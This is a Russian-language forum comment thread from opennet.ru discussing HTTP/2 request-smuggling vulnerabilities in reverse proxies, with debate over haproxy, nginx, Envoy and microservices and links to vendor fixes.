    Но да, раз уж мы заговорили о хайлоудах - я прекрасно знаю как оно у смузихлёбов... большой текст свёрнут, показать
     
     
  • 8.97, Аноним (-), 13:25, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    У микросервисов есть ряд очевидных плюсов Как то декомпозиция задачи и перевод ... текст свёрнут, показать
     
     
  • 9.109, Онаним (?), 13:48, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Да, большой монолит сложнее поддерживать Но жесть в том, что менять рост сложн... текст свёрнут, показать
     
     
  • 10.135, Аноним (-), 04:55, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Он склонен превращаться в большое месиво Которое к тому же скорее всего больше ... большой текст свёрнут, показать
     
  • 9.110, Онаним (?), 13:49, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    короче я мыслью по древу растёкся, но основная мысль была в том, что овердекомп... текст свёрнут, показать
     
     
  • 10.121, Аноним (22), 14:44, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Для проектов уровня приветмир интернет-магазина Васян сейлз - да Как говори... большой текст свёрнут, показать
     
  • 9.143, айпони одобряет микросервисы (?), 15:52, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Программа перестаёт быть простой и маленькой ровно тогда, когда она становится с... текст свёрнут, показать
     
     
  • 10.147, Аноним (147), 21:37, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не ясно, в чём разница со стороны логики приложения, сравнивая stdin stdout межд... текст свёрнут, показать
     
     
  • 11.160, Онаним (?), 20:24, 17/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Разница как раз в той самой latency, с которой потом героически начинают боротьс... текст свёрнут, показать
     
  • 9.152, www2 (??), 08:20, 10/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    До декомпозиции на микросервисы была декомпозиция на отдельные взаимодействующие... большой текст свёрнут, показать
     
     
  • 10.161, Онаним (?), 20:25, 17/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Сам вопрос уже некорректен, потому что из тысячи мелконедосервисов получится два... текст свёрнут, показать
     
  • 10.162, Онаним (?), 20:26, 17/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Микросервисы - это попытка хоть как-то разрулить поделки обезьянок-неосиляторов ... текст свёрнут, показать
     
  • 8.122, gvx (?), 15:13, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Это надо внести в луддитско-свитеро-бородные анналы ... текст свёрнут, показать
     
     
  • 9.127, Онаним (?), 19:50, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Монолиты разные бывают Можно каждые 2 2 в микросервис вытягивать А можно целый... текст свёрнут, показать
     
  • 7.84, Аноним (22), 12:32, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >  Когда-нибудь вы уйдёте в High Load и в такой, где нужны submillisecond ответы от сервиса, и тут вы поймёте почему haproxy вам уже не хватает. И почему TCP вам не подходит by design.

    Вот только envoy тут не при чем. Он - в основном про возможность конфигурирования в runtime. Пожалуй, один из двух прокси-серверов, которые это реально умеют (второй - caddy).

     
     
  • 8.98, Онаним (?), 13:26, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Да и haproxy в рантайме нормально реконфигурится, если уж честно-то Кое-что мож... текст свёрнут, показать
     
     
  • 9.112, Аноним (22), 14:10, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Нет Достаточно переконфигурировать хотя бы несколько раз в секунду вполне типи... текст свёрнут, показать
     
     
  • 10.113, Аноним (22), 14:10, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    s бэкендов серверов в бэкенде , конечно же ... текст свёрнут, показать
     
     
  • 11.125, Онаним (?), 19:36, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Количество слотов да, но вот это как раз дёргается через реконфиг, если ОЧЕНЬ на... текст свёрнут, показать
     
  • 10.124, Онаним (?), 19:30, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Раз в секунду Как правило если такое начало требоваться - самое время что-то в ... текст свёрнут, показать
     
  • 10.136, Аноним (-), 04:59, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    А зачем это менять раз в секунду Чтобы прострелить себе пятку, а потом продать ... текст свёрнут, показать
     
  • 6.85, Аноним (22), 12:35, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Абсолютно угрёбищный конфиг умноженный на абсолютно угрёбищную документацию

    Могли бы и не повторять, выше же написано

    > Не, там думать надо.

    Если что-то по своей сложности превосходит табуретку и не может быть осмыслено одной извилиной - всё, атас, "угребищность" и другие нехорошие слова.

     
     
  • 7.96, Аноним (-), 13:21, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    В новости про атаки - примерно так. Чем сложнее и оверинженернутее нечто, тем больше там будет багов, включая и вулны. Грубо говоря, если вы везде и всюду будете летать исключительно на новой, клевой ракете - ваше прибытие, конечно, будет вызывать фурор. Но не долго. В силу сложности конструкции и малоизученности проблем ваша удача довольно быстро закончится. С другой стороны, сидение на табуретке не грозит развеянием праха в атмосфере...
     
     
  • 8.111, Онаним (?), 13:51, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Примерно да Оверинжениринг и овердекомпозиция кажутся простыми на этапе первичн... текст свёрнут, показать
     
     
  • 9.138, Аноним (-), 05:07, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Сам по себе HTTP 2 в этом плане кстати не такой уж оверинженернутый, хотя mandat... текст свёрнут, показать
     
  • 8.116, Аноним (22), 14:21, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Но эволюция, а впоследствии - и прогресс, почему-то упорно порождают все более у... текст свёрнут, показать
     
     
  • 9.137, Аноним (-), 05:05, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    состоящие из простых систем Отказ каждой из которых в отдельности вообще пох... большой текст свёрнут, показать
     
  • 7.99, Онаним (?), 13:28, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Оно именно что не по сложности превосходит, а по угрёбищности.
    То есть мнимая сложность, героически себе созданная, чтобы героически гордиться её преодолением.
     
     
  • 8.115, Аноним (22), 14:16, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ну, для вас, похоже, 1 1 - норм, 2 2 - сложно, а 2 3 - угрёбищно А уж 5 6 вообщ... текст свёрнут, показать
     
     
  • 9.126, Онаним (?), 19:38, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    В случае смузихлёбов я бы поставил на скачивание лефтпада для 1 1 и 2 2, а в слу... текст свёрнут, показать
     
     
  • 10.153, Michael Shigorin (ok), 21:54, 10/08/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    --- От учащихся старших школ high schools, аналог наших старших классов средней... большой текст свёрнут, показать
     
     
  • 11.154, Онаним (?), 23:17, 10/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ссылка на производное ботофермы, которое маскируется под другого пользователя - ... текст свёрнут, показать
     
  • 5.92, Аноним (-), 13:12, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > тогда переходи на Envoy

    Охренеть, плюсовики хайпуют. Явно покусаные гуглем - #include <stdbullshit> и даже, вау, тот укуреный гуглокрап как билдсистема.

     
  • 2.156, Аноним (22), 19:10, 17/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Радует пока одно: у меня на фронтах немолодёжный haproxy, новый парсер которого по-человечески разбирает и перебирает запросы перед отдачей в бэкенды.

    Поздравляю вас с этим, и рекомендую немедленно обновиться
    https://git.haproxy.org/?p=haproxy-2.4.git;a=commit;h=9e0c2b5a418666d0de4cfc61
    https://git.haproxy.org/?p=haproxy-2.4.git;a=commit;h=6c6b9a5f6de8f13a2242fedf
    https://git.haproxy.org/?p=haproxy-2.4.git;a=commit;h=b4934f044706e35a61de2e29
    https://git.haproxy.org/?p=haproxy-2.4.git;a=commit;h=e9f1f1e7726084580b8eab5d

     
     
  • 3.157, Онаним (?), 20:05, 17/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    У меня за фронтом такой же не менее немолодёжный H1, поэтому меня эти пляски с угрёбищным H2 тоже не затронули :)

    Кроме https://git.haproxy.org/?p=haproxy-2.4.git;a=commit;h=e9f1f1e7726084580b8eab5d

    Но в данном случае на стороне серверов строгая валидация, поэтому пох.
    Тем более что рутинное обновление haproxy делается буднично, и да, скоро обновлюсь, спасибо :)

     
  • 3.158, Онаним (?), 20:06, 17/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Хотя конечно да, есть определённый мысли вообще убрать ALPN h2 с фронтов, ибо нефиг.
     
     
  • 4.159, Онаним (?), 20:07, 17/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    // определённый позыв / определённые мысли
     

     ....большая нить свёрнута, показать (49)

  • 1.13, Отражение луны (ok), 13:14, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Оверинженеринг в действии
     
     
  • 2.26, all_glory_to_the_hypnotoad (ok), 17:06, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Это как раз недоинженеринг, т.е. когда осилили работу с простым протоколом HTTP/2 и не осилили бинарно более сложный HTTP/1.x
     
     
  • 3.93, Аноним (-), 13:13, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Это как раз недоинженеринг, т.е. когда осилили работу с простым протоколом HTTP/2
    > и не осилили бинарно более сложный HTTP/1.x

    HTTP/1 вообще более сложен в проверках и sanity check. В том числе и из-за специальной трактовки символов, что ведет к рискам срыва парсинга.

     
  • 2.78, And (??), 12:03, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Оверинженеринг в действии

    Больше похоже на идиотизм: тащить части старого протокола в новый протокол. Нарушили инкапсуляцию и огребли. О чём олды даааавно уже понимали.

     
     
  • 3.95, Аноним (-), 13:18, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Больше похоже на идиотизм: тащить части старого протокола в новый протокол. Нарушили
    > инкапсуляцию и огребли. О чём олды даааавно уже понимали.

    Они настолько понимали, что по#%ывали даже и чистый HTTP/1.1 используя разное его понимание на границе между фронтом и бэком :P

     
     
  • 4.117, Аноним (147), 14:26, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > на границе между фронтом и бэком

    Между фронтом и бэком и на ф. и на б. как раз не было знавших и понимавших, или их задавил лидер разработки.

    Есть вещи, которые не стоит даже затевать. Но многие непробовали сами результата и соблазняются.

     
     
  • 5.141, Аноним (-), 05:28, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Между фронтом и бэком и на ф. и на б. как раз
    > не было знавших и понимавших, или их задавил лидер разработки.

    Более вероятно что...
    1) Это были 2 тотально разные команды, плохо или никак взаимодействующие между собой.
    2) В HTTP/1 есть несколько мест которые можно сделать по разному и довольно много мест где можно лохануться в парсинге. HTTP/2 в этом несколько лучше, кстати. Но если его в HTTP/1 перегнать, проблемных мест становится даже больше.
    3) Архитект мог быть лох, а безопасТник возможно умел только кошмарить хомячков во имя луны. Вон там красавы, с 3-4 попыток зачинить не смогли местами. То-есть они сами вообще толком не поняли проблему и закостылили конкретное проявление. За что получили еще 3-4 успешных эксплойтирования, обходом конкретной затычки.

     

  • 1.15, Аноним (15), 13:19, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Ну так нгингс подвержен или нет? Где исправления?
     
     
  • 2.18, edo (ok), 13:41, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Если я правильно прочитал changelog к 1.21.1, то это как раз оно:
    http://nginx.org/en/CHANGES
    Немного смущает, что  эта версия вышла месяц назад (впрочем, CVE-2021-21295 вообще от марта, так что известно об этой уязвимости давно)


    Тут просто написано «NGINX is not affected by this security exposure», без указания конкретных версий:
    https://support.f5.com/csp/article/K97045220

     
     
  • 3.55, Sage (??), 03:32, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Проверил на Nginx 1.20 (не включающем правки от 6 июля): заголовок Transfer-Encoding на сервер, указанный в proxy_pass, не отправляется вообще (до nginx доходит, а дальше - не уходит), Content-Length устанавливается в нужное значение, исходя из реального объёма переданных данных. Попытки вклинить перенос на новую строку внутри заголовка приводят к закрытию соединения. Попытки дважды использовать Content-Length - к ошибке 400. Получается, добавленные в 1.21.1 исправления - это ради перестраховки.
     
     
  • 4.57, edo (ok), 04:46, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    чем генерировали запросы? curl'ом у меня не всё получается
     
     
  • 5.67, Sage (??), 11:19, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    На скорую руку отредактировал бинарник курла и libcurl-4.dll, заменив там первую букву во всех вхождениях строки Transfer-Encoding, дабы этот заголовок в нём не имел специального значения и отправлялся на сервер, как и остальные пользовательские заголовки. На придумывание чего-то хитрого не стал тратить время, но через Wireshark убедился, что нужные заголовки в запросах к nginx на месте, а от nginx уже нет (curl запускал с переменной окружения SSLKEYLOGFILE).
     
     
  • 6.140, Аноним (-), 05:23, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ммм... хакир! :) Т.е. HTTP/2 стал внаглую рассылать Transfer-Encoding как HTTP/2 хидер? Мсье эстет, мне это нравится. Пойду тоже что-нить пропатчу, только, пожалуй, в сорце :]
     

  • 1.24, Аноним (24), 15:52, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Теперь все будут топить за "закопать" http и перейти на websocket?
     
     
  • 2.77, anonymous (??), 12:03, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    WebSocket работает поверх HTTP
     

  • 1.27, Kuromi (ok), 17:35, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Не волйнутесь, сейчас Гугл быстренько придумает HTTP3...ой, нет, наверное уже HTTP4.
     
     
  • 2.29, Разбойник (?), 18:37, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Хуавей уже замену TCP/IP придумал. Этакий зомбоящик получается.
     
     
  • 3.36, kissmyass (?), 20:21, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    мертворожденная шляпа
     
     
  • 4.49, онанимус (?), 23:03, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    это тебе, живущему в свободной стране, так кажется.
    а в Китае взлетит.
     
     
  • 5.76, Онаним (?), 12:02, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ну так там цели иные, нежели связность и удобство.
    А в условиях адекватных целей не взлетит.
     
  • 3.50, Kuromi (ok), 23:25, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Хуавей уже замену TCP/IP придумал. Этакий зомбоящик получается.

    Так же как они "заменили" Андроид?

     
  • 2.56, Anonn (?), 03:43, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Такими темпами скоро перейдут на 6-недельные релизы, синхронно с Хромом. Циферки будут меняться как в одометре.
     
     
  • 3.58, Аноним (58), 07:51, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Вообще-то у них уже 4-недельный цикл
     

  • 1.44, Alex_K (??), 21:16, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –3 +/
    KeepAlive Off на бэкенде спасет отца русской демократии :)
     
     
  • 2.51, Анончик (?), 23:38, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Да, Жа спасет, можешь спать спокойно =)
     

  • 1.54, vitalif (ok), 02:04, 08/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    HTTP2 нинужно
     
  • 1.70, Аноним (70), 11:29, 08/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    javascript макак как обычно взламывают даже без использования уязвимостей неправильной работы с памятью.
    Несомненно у них ошибка в днк
     
     
  • 2.94, Аноним (-), 13:16, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    А тут, внезапно, не в js макаках проблема.
     
     
  • 3.118, Аноним (22), 14:26, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ну, если бы они осилили http2.createServer, то последствий их рукоблудия перечисленные уязвимости не коснулись бы.
     
  • 3.119, Аноним (147), 14:31, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Как раз в них. Фронт и бэк - две группы разработки, работающие в тесном сотрудничестве. Родили вместе.

    Various people believe in JavaScript crypto, unfortunately. This small
    example helps them fuel their poor taste.

    https://github.com/WireGuard/wireguard-tools/blob/3ac679e7a1930c322e9f37e0f106

    Везде чмырят...

     
     
  • 4.139, Аноним (-), 05:16, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Как раз в них.

    Эта проблема может возникнуть даже в проектах никак не использующих JS, и вообще, достаточно концептуальна.

    Root cause - разное видение мира разными частями системы, ЯП в формулу факапа вообще не входит. Я вообще видел это в совсем других протоколах и ЯП, но оно тоже жгло напалмом по примерно тем же failure modes. Это довольно мощный - и довольно недооцененный - класс багов.

    > Various people believe in JavaScript crypto, unfortunately.

    Я даже согласен, но это все же вообще совсем полностью другой класс проблем. Хотя если свести все проблемы к "програмер/архитект идиот", тогда будет что-то общее конечно. Но это довольно упрощенная картина мира.

     
     
  • 5.144, айпони одобряет микросервисы (?), 15:58, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >Root cause - разное видение мира разными частями системы

    А то, что видение мира у JS-смузихлёбов отбито по самое не балуй, тебя не смущает?

     
     
  • 6.151, Аноним (-), 07:07, 10/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > А то, что видение мира у JS-смузихлёбов отбито по самое не балуй,
    > тебя не смущает?

    Так оно же не только у них отбито. Вон какие-нибудь питонисты или даже хрустики с их серебряными пулями из слегка приукрашеного материала.

     

  • 1.145, Аноним (145), 16:23, 09/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    вебня такая вебня
     
  • 1.146, Аноним (146), 20:44, 09/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Надо было на расте писать.
     
     
  • 2.148, Аноним (148), 22:17, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    В соседнюю ветку загляни, там в твоём расте дыреней наделали мама не горюй.
     
  • 2.149, Аноним (-), 22:22, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Надо было на расте писать.

    Точняк, надо запилить что-нибудь с этой уязвимостью и на хрусте. Нужно больше CVE, милорд!

     

  • 1.150, Gogi (??), 00:14, 10/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Это называется не "уязвимость", а "заставили обезьян веб проектировать"!
    Бэкенду вообще никаким боком не нужен HTTP! Связать фронт и бэк можно сотней РАЗНЫХ способов, где запросы разных клиентов вообще не пересекаются.
     
     
  • 2.164, Аноним (164), 09:45, 18/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Есть ещё кстати fastcgi. Можно было бы использовать его.
     

  • 1.155, Gena ANTG (ok), 17:29, 11/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Мамкины "иксперты" даже не поняли о чем идет речь в статье, говорят за JS, Rust :D
    Подумали, что под фронтом имеют ввиду JS, а не прокси-сервер на бэке с проблемой общения между протоколами, а-а-а-а-ахахах.
     
  • 1.163, Аноним (164), 09:44, 18/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А почему бы просто не общаться с бэкендами по http/2? Ведь это бинарный протокол, а значит парсинг и сериализация в него идёт эффективнее. Заодно и встроенные в парсер проверки всех размеров внутри сообщения.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:
    При перепечатке указание ссылки на opennet.ru обязательно



    Спонсоры:
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2021 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру